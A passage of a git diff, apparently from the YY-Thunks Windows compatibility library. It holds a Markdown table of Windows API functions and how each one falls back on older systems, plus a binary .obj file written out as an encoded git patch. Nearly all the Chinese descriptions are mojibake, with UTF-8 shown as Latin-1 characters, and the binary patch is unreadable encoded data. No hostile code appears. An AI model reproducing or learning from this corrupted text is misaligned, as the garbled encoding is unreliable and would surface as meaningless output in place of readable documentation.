ä»…è¿”å›žå¤±è´¥ã€‚è­¦å‘Šï¼Œå®žé™…æ— æ³•å–æ¶ˆï¼ +| OpenFileById | 调用NtCreateFile。 +| CreateSymbolicLinkW(A) | 返回FALSE,并设置 LastError = ERROR_INVALID_FUNCTION。 +| ReOpenFile | 调用NtCreateFile。 +| CompareStringEx | 调用CompareStringW。 +| CompareStringOrdinal | 使用内置UnicodeCaseTableData实现。 +| SetFilePointerEx | 调用SetFilePointer。 +| GetModuleHandleExW(A) | 调用GetModuleHandleW(A)。 +| WTSGetActiveConsoleSessionId | 直接返回 0。 +| GetNativeSystemInfo | 调用GetSystemInfo。 +| InitializeSListHead | 直接åˆå§‹åŒ–为 0。 +| InterlockedFlushSList | 调用lock cmpxchg8b指令。 +| QueryDepthSList | 直接返回Depth。 +| InterlockedPushEntrySList | 调用lock cmpxchg8b指令。 +| InterlockedPopEntrySList | 调用lock cmpxchg8b指令。 +| GetNumaProximityNodeEx | 调用GetNumaProximityNode。 +| GetNumaProcessorNode | å‡å®šæ‰€æœ‰CPU都在节点 0。 +| GetNumaNodeNumberFromHandle | å‡å®šæ‰€æœ‰CPU都在节点 0。 +| GetNumaProcessorNodeEx | 调用 GetNumaProcessorNode。 +| GetNumaAvailableMemoryNode | å‡å®šæ‰€æœ‰å†…存都属于节点0。 +| GetNumaAvailableMemoryNodeEx | 调用 GetNumaAvailableMemoryNode。 +| GetNumaProximityNode | å‡å®šéƒ½æ˜¯èŠ‚ç‚¹0。 +| AllocateUserPhysicalPagesNuma | 调用 AllocateUserPhysicalPages。 +| MapViewOfFileExNuma | 调用 MapViewOfFileEx。 +| VirtualAllocExNuma | 调用 VirtualAllocEx。 +| CreateFileMappingNumaW(A) | 调用 CreateFileMappingW(A)。 +| GetMaximumProcessorCount | 调用 GetSystemInfo。 +| GetActiveProcessorCount | 调用 GetSystemInfo。 +| GetActiveProcessorGroupCount | å‡å®šä¸º1。 +| GetMaximumProcessorGroupCount | å‡å®šä¸º1。 +| GetMemoryErrorHandlingCapabilities | ç›´æŽ¥æŠ¥å‘Šä¸æ”¯æŒä»»ä½•特性。 +| VirtualAllocFromApp | 调用 VirtualAlloc。 +| VirtualAlloc2 | 调用 VirtualAllocExNuma ä»¥åŠ VirtualAllocEx。 +| VirtualAlloc2FromApp | 调用 VirtualAllocExNuma ä»¥åŠ VirtualAllocEx。 +| CreateFileMappingFromApp | 调用 CreateFileMappingW。 +| CreateFileMapping2 | 调用 CreateFileMappingNumaW ä»¥åŠ CreateFileMappingW。 +| MapViewOfFileFromApp | 调用 MapViewOfFile。 +| UnmapViewOfFileEx | 调用 UnmapViewOfFile。 +| VirtualProtectFromApp | 调用 VirtualProtect。 +| OpenFileMappingFromApp | 调用 OpenFileMappingW。 +| FlushProcessWriteBuffers | 调用VirtualProtect。 +| FlsAlloc | 使用Tls实现。警告,此函数请勿跨模å—使用ï¼ï¼ï¼ +| FlsFree | 使用Tls实现。警告,此函数请勿跨模å—使用ï¼ï¼ï¼ +| FlsGetValue | 使用Tls实现。警告,此函数请勿跨模å—使用ï¼ï¼ï¼ +| FlsSetValue | 使用Tls实现。警告,此函数请勿跨模å—使用ï¼ï¼ï¼ +| IsThreadAFiber | 调用 GetCurrentFiber。 +| ConvertThreadToFiberEx | 调用 ConvertThreadToFiber。 +| GetDynamicTimeZoneInformation | 调用 GetTimeZoneInformation。 +| SetDynamicTimeZoneInformation | 调用 SetTimeZoneInformation。 +| GetProductInfo | 调用 GetVersionExW。 +| EnumSystemLocalesEx | 调用 EnumSystemLocalesW。 +| GetThreadPreferredUILanguages | 调用 GetThreadLocaleã€GetUserDefaultLangID以åŠGetSystemDefaultLangID。 +| GetThreadUILanguage | 调用 GetThreadLocale。 +| ResolveLocaleName | 调用 LocaleNameToLCID以åŠLCIDToLocaleName。 +| InitializeProcThreadAttributeList | 内部实现。 +| DeleteProcThreadAttributeList | 内部实现。 +| UpdateProcThreadAttribute | 内部实现。PROC_THREAD_ATTRIBUTE_PARENT_PROCESS与PROC_THREAD_ATTRIBUTE_HANDLE_LIST特性会被忽略处ç†ã€‚ +| GetLargePageMinimum | å‡å®šä¸º0。 +| SetThreadStackGuarantee | 调用VirtualAlloc。 +| SetCoalescableTimer | 调用SetTimer。 +| SetWaitableTimerEx | 调用SetWaitableTimer。 +| EnumResourceLanguagesExW(A) | 调用EnumResourceLanguagesW(A)。 +| DiscardVirtualMemory | 调用VirtualAlloc MEM_RESET。 +| OfferVirtualMemory | 返回ERROR_SUCCESS。 +| ReclaimVirtualMemory | 返回ERROR_SUCCESS。 +| PrefetchVirtualMemory | 返回ERROR_SUCCESS。 +| GetProcessMitigationPolicy | 调用NtQueryInformationProcess。 +| SetProcessMitigationPolicy | 调用NtSetInformationProcess。 +| SetProcessInformation | 调用NtSetInformationProcess。 +| GetThreadInformation | 调用NtQueryInformationThread。 +| SetThreadInformation | 调用NtSetInformationThread。 +| PowerCreateRequest | 内部实现。 +| PowerSetRequest | 调用 SetThreadExecutionState。 +| PowerClearRequest | 调用 SetThreadExecutionState。 +| TzSpecificLocalTimeToSystemTime | 内部实现。 +| TzSpecificLocalTimeToSystemTimeEx | 内部实现。 +| GetFirmwareType | 调用NtQuerySystemInformation。 +| IsNativeVhdBoot | 调用NtQuerySystemInformation。 +| RtlCaptureStackBackTrace | 调用ntdll.RtlCaptureStackBackTrace。 +| SetFileCompletionNotificationModes | 什么也ä¸åšã€‚ +| GetQueuedCompletionStatusEx | 调用 GetQueuedCompletionStatus。 +| FindFirstFileEx(W/A) | Windows XPã€Vista兼容 FIND_FIRST_EX_LARGE_FETCHã€FindExInfoStandard傿•°ã€‚ +| GetProcessGroupAffinity | å§‹ç»ˆè®¤ä¸ºåªæœ‰ä¸€ç»„CPU。 +| QueryUnbiasedInterruptTime | 读å–KUSER_SHARED_DATA::InterruptTime值模拟UnbiasedInterruptTime。 +| FindStringOrdinal | 调用CompareStringOrdinal。 +| GetEnabledXStateFeatures | 调用IsProcessorFeaturePresent。 +| SetXStateFeaturesMask | 内部实现。 +| InitializeContext | 内部实现。 +| InitializeContext2 | 调用InitializeContext。 +| LocateXStateFeature | 内部实现。 +| CopyContext | 内部实现。 +| QueryIdleProcessorCycleTimeEx | 调用QueryIdleProcessorCycleTime。 +| QueryIdleProcessorCycleTime | éšä¾¿è¿”回一组数字代表当å‰è¿›ç¨‹ç©ºé—²æ—¶é—´ã€‚ +| SetThreadIdealProcessorEx | 调用SetThreadIdealProcessor。 +| GetThreadIdealProcessorEx | 调用SetThreadIdealProcessor。 +| GetUserPreferredUILanguages | 调用GetThreadPreferredUILanguages。 +| EnumTimeFormatsEx | 调用EnumTimeFormatsW。 +| GetCalendarInfoEx | 调用GetCalendarInfoW。 +| GetNLSVersionEx | 返回一个å‡ç‰ˆæœ¬ã€‚ +| IsNLSDefinedString | 调用GetStringTypeW。 +| FindNLSStringEx | 调用 CompareStringW。 +| SetProcessWorkingSetSizeEx | 调用SetProcessWorkingSetSize。 +| GetProcessWorkingSetSizeEx | 调用GetProcessWorkingSetSize。 +| GetTimeZoneInformationForYear | 调用GetTimeZoneInformation。 +| SetProcessDEPPolicy | 调用NtSetInformationProcess。 +| GetSystemDEPPolicy | 返回总是关闭。 +| DisableThreadLibraryCalls | 始终返回æˆåŠŸã€‚ +| CreateRemoteThreadEx | 调用CreateRemoteThread。 +| WerRegisterRuntimeExceptionModule | 返回S_OK。 +| WerUnregisterRuntimeExceptionModule | 返回S_OK。 +| Wow64GetThreadContext | 调用GetThreadContext或者返回ERROR_INVALID_PARAMETER。 +| SetDefaultDllDirectories | 手工控制LoadLibrary加载顺åºã€‚ +| SetDllDirectoryW(A) | 内部ä¿å­˜è·¯å¾„,并且控制LoadLibrary加载顺åºã€‚ +| GetDllDirectoryW(A) | 获å–内部ä¿å­˜çš„路径。 +| AddDllDirectory | 内部ä¿å­˜è·¯å¾„,并且控制LoadLibrary加载顺åºã€‚ +| RemoveDllDirectory | 内部移除路径。 +| GetCurrentPackageFullName | 返回 APPMODEL_ERROR_NO_PACKAGE。 +| GetPackageFullName | 返回 APPMODEL_ERROR_NO_PACKAGE。 +| GetPackageFamilyName | 返回 APPMODEL_ERROR_NO_PACKAGE。 +| GetPackagePathByFullName | 调用 GetPackageInfo。 +| GetPackagesByPackageFamily | 报告空集åˆï¼Œå¹¶è¿”回 ERROR_SUCCESS。 +| FindPackagesByPackageFamily | 调用 GetPackagesByPackageFamily。注æ„:Windows 8å¹³å°ä¸Šæ— æ³•æ”¯æŒ PACKAGE_FILTER_BUNDLE。 +| OpenPackageInfoByFullName | 返回 ERROR_NOT_FOUND。 +| ClosePackageInfo | 返回 ERROR_INVALID_PARAMETER。 +| GetPackageInfo | 返回 ERROR_INVALID_PARAMETER。 +| OpenProcess | é¢å¤–å¤„ç† PROCESS_QUERY_LIMITED_INFORMATIONã€PROCESS_SET_LIMITED_INFORMATION。 +| GetThreadDescription | 返回空字符串。 +| SetThreadDescription | 返回 `E_NOTIMPL`。 +| GetSystemFirmwareTable | 读å–PhysicalMemory或者注册表。注æ„:目å‰ä»…支æŒ'RSMB'ã€'ACPI'。 +| GetPhysicallyInstalledSystemMemory | 调用GetSystemFirmwareTable。 + +## mfplat.dll +| 函数 | Fallback +| ---- | ----------- +| MFCreateDeviceSource | 返回E_NOTIMPL。 +| MFEnumDeviceSources | 返回E_NOTIMPL。 +| MFCreateDXGIDeviceManager | 返回E_NOTIMPL。 +| MFCreateDXGISurfaceBuffer | 返回E_NOTIMPL。 +| MFLockDXGIDeviceManager | 返回E_NOTIMPL。 +| MFUnlockDXGIDeviceManager | 返回E_NOTIMPL。 +| MFCreateAlignedMemoryBuffer | 返回E_NOTIMPL。 +| MFCreateAsyncResult | 返回E_NOTIMPL。 +| MFCreateAttributes | 返回E_NOTIMPL。 +| MFCreateEventQueue | 返回E_NOTIMPL。 +| MFCreateMediaBufferWrapper | 返回E_NOTIMPL。 +| MFCreateMediaEvent | 返回E_NOTIMPL。 +| MFCreateMediaType | 返回E_NOTIMPL。 +| MFCreateMemoryBuffer | 返回E_NOTIMPL。 +| MFCreatePresentationDescriptor | 返回E_NOTIMPL。 +| MFCreateSample | 返回E_NOTIMPL。 +| MFCreateStreamDescriptor | 返回E_NOTIMPL。 +| MFCreateWaveFormatExFromMFMediaType | 返回E_NOTIMPL。 +| MFFrameRateToAverageTimePerFrame | 返回E_NOTIMPL。 +| MFGetSystemTime | 调用GetSystemTimeAsFileTime。 +| MFInitMediaTypeFromWaveFormatEx | 返回E_NOTIMPL。 +| MFShutdown | 返回E_NOTIMPL。 +| MFStartup | 返回E_NOTIMPL。 +| MFTEnumEx | 返回E_NOTIMPL。 +| MFCancelWorkItem | 返回E_NOTIMPL。 +| MFLockSharedWorkQueue | 返回E_NOTIMPL。 +| MFPutWorkItem | 返回E_NOTIMPL。 +| MFPutWorkItem2 | 调用MFPutWorkItem。 +| MFPutWaitingWorkItem | 返回E_NOTIMPL。 +| MFUnlockWorkQueue | 返回E_NOTIMPL。 + +## mfreadwrite.dll +| 函数 | Fallback +| ---- | ----------- +| MFCreateSourceReaderFromMediaSource | 返回E_NOTIMPL。 + +## mmdevapi.dll +| 函数 | Fallback +| ---- | ----------- +| ActivateAudioInterfaceAsync | 返回E_NOTIMPL。 + +## ndfapi.dll +| 函数 | Fallback +| ---- | ----------- +| NdfCreateWebIncident | è¿”å›žä¸€ä¸ªä¼ªå¥æŸ„å‡è£…æˆåŠŸã€‚ +| NdfCloseIncident | å‡è£…æˆåŠŸå…³é—­å¥æŸ„。 +| NdfExecuteDiagnosis | å‡è£…什么问题也没有å‘现。 + +## netapi32.dll +| 函数 | Fallback +| ---- | ----------- +| NetGetAadJoinInformation | 始终认为没有加入 Azure AD 叿ˆ· è´¦å·ã€‚ +| NetFreeAadJoinInformation | 什么也ä¸åšã€‚ + +## ntdll.dll +| 函数 | Fallback +| ---- | ----------- +| * NtCancelIoFileEx | å°è¯•对所有线程调用 NtCancelIoFileã€‚è­¦å‘Šï¼šå°†å–æ¶ˆæ­¤æ–‡ä»¶çš„æ‰€æœ‰IO请求。 +| NtOpenKeyEx | 调用 NtOpenKey 或者 NtCreateKey。 + +## ole32.dll +| 函数 | Fallback +| ---- | ----------- +| CoGetApartmentType | 调用IComThreadingInfo。 +| RoGetAgileReference | 返回E_NOINTERFACE。 + +## pdh.dll +| 函数 | Fallback +| ---- | ----------- +| PdhAddEnglishCounterW(A) | 调用PdhAddCounterW(A)。 + +## powrprof.dll +| 函数 | Fallback +| ---- | ----------- +| PowerDeterminePlatformRole | 返回PlatformRoleDesktop。 +| PowerDeterminePlatformRoleEx | 调用PowerDeterminePlatformRole。 +| PowerRegisterSuspendResumeNotification | ä½¿ç”¨çª—å£æ¨¡æ‹Ÿã€‚ +| PowerUnregisterSuspendResumeNotification | 内部实现。 +| PowerGetActiveScheme | 始终认为是平衡模å¼ã€‚ +| PowerReadACValue | è¯»å–æ³¨å†Œè¡¨ã€‚(目å‰ä»…支æŒConsoleLock) +| PowerReadDCValue | è¯»å–æ³¨å†Œè¡¨ã€‚(目å‰ä»…支æŒConsoleLock) + +## PropSys.dll +| 函数 | Fallback +| ---- | ----------- +| InitPropVariantFromCLSID | CoTaskMemAlloc分é…内存。 +| PSGetPropertyKeyFromName | 返回 TYPE_E_ELEMENTNOTFOUND(属性ä¸å­˜åœ¨ï¼‰ã€‚ +| PSCreateMemoryPropertyStore | 返回 E_NOTIMPL。 +| VariantCompare | 内部实现。 + +## psapi.dll +| 函数 | Fallback +| ---- | ----------- +| EnumProcessModulesEx | 调用EnumProcessModules。 +| GetWsChangesEx | 调用GetWsChanges。 +| *QueryWorkingSetEx | 返回FALSE,并设置 LastError = ERROR_INVALID_FUNCTION。 + +## setupapi.dll +| 函数 | Fallback +| ---- | ----------- +| SetupDiGetDevicePropertyW | 调用SetupDiGetDeviceRegistryPropertyW。 +| SetupDiSetDevicePropertyW | 调用SetupDiSetDeviceRegistryPropertyW。 +| SetupDiGetClassPropertyW | 调用SetupDiGetClassRegistryPropertyW。 +| SetupDiGetClassPropertyExW | 调用SetupDiGetClassRegistryPropertyW。 +| SetupDiSetClassPropertyW | 调用SetupDiSetClassRegistryPropertyW。 +| SetupDiSetClassPropertyExW | 调用SetupDiSetClassRegistryPropertyW。 + +## shcore.dll +| 函数 | Fallback +| ---- | ----------- +| GetDpiForMonitor | 调用GetDeviceCaps。 +| GetProcessDpiAwareness | 调用 IsProcessDPIAware。 +| SetProcessDpiAwareness | 调用SetProcessDPIAware。 +| SetProcessDPIAware | 直接返回 TRUE。 +| CreateRandomAccessStreamOnFile | 返回 E_NOTIMPL。 +| CreateRandomAccessStreamOverStream | 返回 E_NOTIMPL。 +| CreateStreamOverRandomAccessStream | 返回 E_NOTIMPL。 + +## shell32.dll +| 函数 | Fallback +| ---- | ----------- +| SHGetKnownFolderPath | 调用SHGetFolderPathW。 +| SHSetKnownFolderPath | 调用SHSetFolderPathW。 +| SHGetKnownFolderIDList | 调用SHGetFolderLocation。 +| SHBindToFolderIDListParent | 调用IShellFolder。 +| SHBindToFolderIDListParentEx | 调用IShellFolder。 +| SHBindToObject | 调用IShellFolder。 +| SHCreateItemFromIDList | 调用IShellItem。 +| SHCreateItemWithParent | 调用IShellItem。 +| SHCreateItemFromRelativeName | 调用IShellItem。 +| SHGetNameFromIDList | 调用IShellItem。 +| SHCreateShellItem | 调用IShellItem。 +| SHCreateItemFromParsingName | 调用SHParseDisplayName。 +| Shell_NotifyIconGetRect | 调用SendMessageW(å¯èƒ½ä¸é€‚用于Vista系统)。 +| SHGetStockIconInfo | 调用LoadImageW。 +| SHGetPropertyStoreForWindow | 报告错误 E_NOTIMPL。 +| SHOpenWithDialog | 报告错误 E_NOTIMPL。 + +## shlwapi.dll +| 函数 | Fallback +| ---- | ----------- +| StrToInt64ExW(A) | 手工解æžå­—符串。 + +## UIAutomationCore.dll +| 函数 | Fallback +| ---- | ----------- +| UiaClientsAreListening | å‡è£…没有人在监å¬ã€‚ +| UiaHostProviderFromHwnd | 报告错误 E_NOTIMPL。 +| UiaRaiseAutomationEvent | 报告错误 E_NOTIMPL。 +| UiaRaiseAutomationPropertyChangedEvent | 报告错误 E_NOTIMPL。 +| UiaReturnRawElementProvider | 报告错误 E_NOTIMPL。 +| UiaGetReservedMixedAttributeValue | 报告错误 E_NOTIMPL。 +| UiaGetReservedNotSupportedValue | 报告错误 E_NOTIMPL。 +| UiaRaiseStructureChangedEvent | 报告错误 E_NOTIMPL。 +| UiaRaiseNotificationEvent | å‡è£…æˆåŠŸã€‚ +| UiaLookupId | 始终返回 0。 + +## user32.dll +| 函数 | Fallback +| ---- | ----------- +| IsWow64Process | 返回TRUE,并设置 `*Wow64Process = FALSE`。 +| SetProcessDpiAwarenessContext | 调用SetProcessDpiAwareness。 +| GetDpiForSystem | 调用GetDeviceCaps。 +| GetDpiForWindow | 调用GetDpiForMonitor。温馨æç¤ºï¼šå¦‚果窗å£å®½åº¦æˆ–者高度为0æ—¶å¯èƒ½è¿”å›žä¸æ­£ç¡®çš„Dpi。 +| GetSystemMetricsForDpi | 调用GetSystemMetrics。 +| AdjustWindowRectExForDpi | 调用AdjustWindowRectEx。 +| SystemParametersInfoW(A) | SPI_GETNONCLIENTMETRICS修正。 +| SystemParametersInfoForDpi | 调用SystemParametersInfoW。 +| RegisterSuspendResumeNotification | ä½¿ç”¨çª—å£æ¨¡æ‹Ÿã€‚ +| UnregisterSuspendResumeNotification | 内部实现。 +| IsProcessDPIAware | 返回 TRUE。 +| SetProcessDPIAware | 什么都ä¸åšï¼Œå‡è£…æˆåŠŸã€‚ +| GetWindowDisplayAffinity | TRUEï¼Œå¹¶æŠ¥å‘Šçª—å£æ²¡æœ‰ä»»ä½•ä¿æŠ¤`WDA_NONE`。 +| SetWindowDisplayAffinity | 什么都ä¸åšï¼Œå‡è£…æˆåŠŸã€‚ +| RegisterTouchWindow | 什么都ä¸åšï¼Œå‡è£…æˆåŠŸã€‚ +| UnregisterTouchWindow | 什么都ä¸åšï¼Œå‡è£…æˆåŠŸã€‚ +| IsTouchWindow | 始终报告éžè§¦æ‘¸çª—å£ã€‚ +| GetTouchInputInfo | 报告错误 ERROR_INVALID_HANDLE。 +| CloseTouchInputHandle | 报告错误 ERROR_INVALID_HANDLE。 +| *ChangeWindowMessageFilterEx | 调用ChangeWindowMessageFilter。温馨æç¤ºï¼šå°†å½±å“该进程的所有窗å£ã€‚ +| ChangeWindowMessageFilter | 什么都ä¸åšï¼Œå‡è£…æˆåŠŸã€‚ +| UpdateLayeredWindowIndirect | 调用UpdateLayeredWindow。 +| AddClipboardFormatListener | 什么都ä¸åšï¼Œå‡è£…æˆåŠŸã€‚ +| RemoveClipboardFormatListener | 什么都ä¸åšï¼Œå‡è£…æˆåŠŸã€‚ +| RegisterPowerSettingNotification | 什么都ä¸åšï¼Œå‡è£…æˆåŠŸã€‚ +| UnregisterPowerSettingNotification | 什么都ä¸åšï¼Œå‡è£…æˆåŠŸã€‚ +| DisplayConfigGetDeviceInfo | 报告没有安装驱动。 +| GetDisplayConfigBufferSizes | 报告没有安装驱动。 +| QueryDisplayConfig | 报告没有安装驱动。 +| RegisterPointerDeviceNotifications | å‡è£…æˆåŠŸã€‚ +| GetPointerDevices | å‡è£…没有触摸设备。 +| GetPointerDevice | å‡è£…没有触摸设备。 +| GetPointerPenInfo | å‡è£…没有触摸设备。 +| GetPointerType | å‡è£…没有触摸设备。 +| InitializeTouchInjection | 报告错误 ERROR_INVALID_PARAMETER。 +| InjectTouchInput | 报告错误 ERROR_INVALID_PARAMETER。 +| GetAwarenessFromDpiAwarenessContext | 内部实现。 +| AreDpiAwarenessContextsEqual | 内部实现。 +| EnableNonClientDpiScaling | å‡è£…æˆåŠŸã€‚ +| GetPointerFrameTouchInfo | 报告错误 ERROR_INVALID_PARAMETER。 +| GetPointerFrameTouchInfoHistory | 报告错误 ERROR_INVALID_PARAMETER。 +| GetPointerInfo | 报告错误 ERROR_INVALID_PARAMETER。 +| GetPointerPenInfoHistory | 报告错误 ERROR_INVALID_PARAMETER。 +| SkipPointerFrameMessages | å‡è£…æˆåŠŸã€‚ +| GetThreadDpiAwarenessContext | 调用 GetProcessDpiAwareness。 +| GetWindowDpiAwarenessContext | 调用 GetProcessDpiAwareness。 +| GetDisplayAutoRotationPreferences | 返回 ORIENTATION_PREFERENCE_NONE。 +| SetDisplayAutoRotationPreferences | å‡è£…æˆåŠŸã€‚ +| GetPointerInfoHistory | 报告错误 ERROR_INVALID_PARAMETER。 +| GetPointerTouchInfo | 报告错误 ERROR_INVALID_PARAMETER。 +| GetPointerTouchInfoHistory | 报告错误 ERROR_INVALID_PARAMETER。 +| IsMouseInPointerEnabled | 返回关闭。 +| EnableMouseInPointer | å‡è£…处于关闭状æ€ã€‚ +| GetPointerDeviceRects | 报告错误 ERROR_INVALID_PARAMETER。 +| PhysicalToLogicalPoint | å‡è£…æˆåŠŸã€‚ +| LogicalToPhysicalPoint | å‡è£…æˆåŠŸã€‚ +| PhysicalToLogicalPointForPerMonitorDPI | 调用 PhysicalToLogicalPoint。 +| LogicalToPhysicalPointForPerMonitorDPI | 调用 LogicalToPhysicalPoint。 +| GetSystemDpiForProcess | 调用GetDpiForSystemã€GetProcessDpiAwareness。 +| IsValidDpiAwarenessContext | 内部实现。 +| WindowFromPhysicalPoint | 调用WindowFromPoint。 +| SetWindowsHookExW(A) | WH_KEYBOARD_LL/WH_MOUSE_LL且dwThreadId为0时,hModå…许为NULL。 + +## userenv.dll +| 函数 | Fallback +| ---- | ----------- +| CreateAppContainerProfile | 返回E_NOTIMPL。 +| DeleteAppContainerProfile | 返回E_NOTIMPL。 +| DeriveAppContainerSidFromAppContainerName | 返回E_NOTIMPL。 +| GetAppContainerFolderPath | 返回E_NOTIMPL。 +| GetAppContainerRegistryLocation | 返回E_NOTIMPL。 + +## uxtheme.dll +| 函数 | Fallback +| ---- | ----------- +| DrawThemeTextEx | å°è¯•获å–éžå¯¼å‡ºDrawThemeTextEx。如果任然获å–失败则调用DrawThemeText。 +| GetThemeTransitionDuration | 返回E_NOTIMPL。 +| SetWindowThemeAttribute | 返回E_NOTIMPL。 + +## version.dll +| 函数 | Fallback +| ---- | ----------- +| GetFileVersionInfoExW(A) | 调用GetFileVersionInfoW(A)。 +| GetFileVersionInfoSizeExW(A) | 调用GetFileVersionInfoSizeW(A)。 + +## wevtapi.dll +| 函数 | Fallback +| ---- | ----------- +| EvtClose | 返回TRUE。 +| EvtCreateRenderContext | 报告ERROR_NOT_SUPPORTED。 +| EvtNext | 报告ERROR_NOT_SUPPORTED。 +| EvtQuery | 报告ERROR_NOT_SUPPORTED。 +| EvtRender | 报告ERROR_NOT_SUPPORTED。 + +## WinHttp.dll +| 函数 | Fallback +| ---- | ----------- +| WinHttpCreateProxyResolver | 内部实现。 +| WinHttpGetProxyForUrlEx | 异步调用WinHttpGetProxyForUrl。 +| WinHttpGetProxyResult | 内部实现。 +| WinHttpFreeProxyResult | 内部实现。 + +## WinUsb.dll +| 函数 | Fallback +| ---- | ----------- +| WinUsb_Free | 报告ERROR_INVALID_HANDLE。 +| WinUsb_GetAssociatedInterface | 报告ERROR_INVALID_HANDLE。 +| WinUsb_GetOverlappedResult | 报告ERROR_INVALID_HANDLE。 +| WinUsb_Initialize | 报告ERROR_INVALID_HANDLE。 +| WinUsb_ReadPipe | 报告ERROR_INVALID_HANDLE。 +| WinUsb_ResetPipe | 报告ERROR_INVALID_HANDLE。 +| WinUsb_SetCurrentAlternateSetting | 报告ERROR_INVALID_HANDLE。 +| WinUsb_WritePipe | 报告ERROR_INVALID_HANDLE。 + +## ws2_32.dll +| 函数 | Fallback +| ---- | ----------- +| InetPtonW(inet_pton) | 类似于sscanf手工分æžå­—符串。 +| InetNtopW(inet_ntop) | 类似于sprintf手工生æˆå­—符串。 +| WSAPoll | 调用select。 +| GetAddrInfoExCancel | 使用线程模拟。 +| GetAddrInfoExW(A) | 调用GetAddrInfoW(A)。 +| GetAddrInfoExOverlappedResult | 内部实现。 +| FreeAddrInfoEx(W) | 内部实现。 +| GetAddrInfoW | 调用getaddrinfo。 +| FreeAddrInfoW | 内部实现。 +| WSASocketW(A) | 低于6.1.7601时自动去除 `WSA_FLAG_NO_HANDLE_INHERIT`。 +| WSAIoctl | 低于6.0时,`SIO_BASE_HANDLE` 代ç è¿”回SOCKET自身。 +| GetHostNameW | 调用gethostname。 diff --git a/resources/YY-Thunks-Objs/objs/x64/YY_Thunks_for_WinXP.obj b/resources/YY-Thunks-Objs/objs/x64/YY_Thunks_for_WinXP.obj new file mode 100755 index 0000000000000000000000000000000000000000..3ebcdb1e48658855d85bea460e56144345d214de GIT binary patch literal 5347481 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 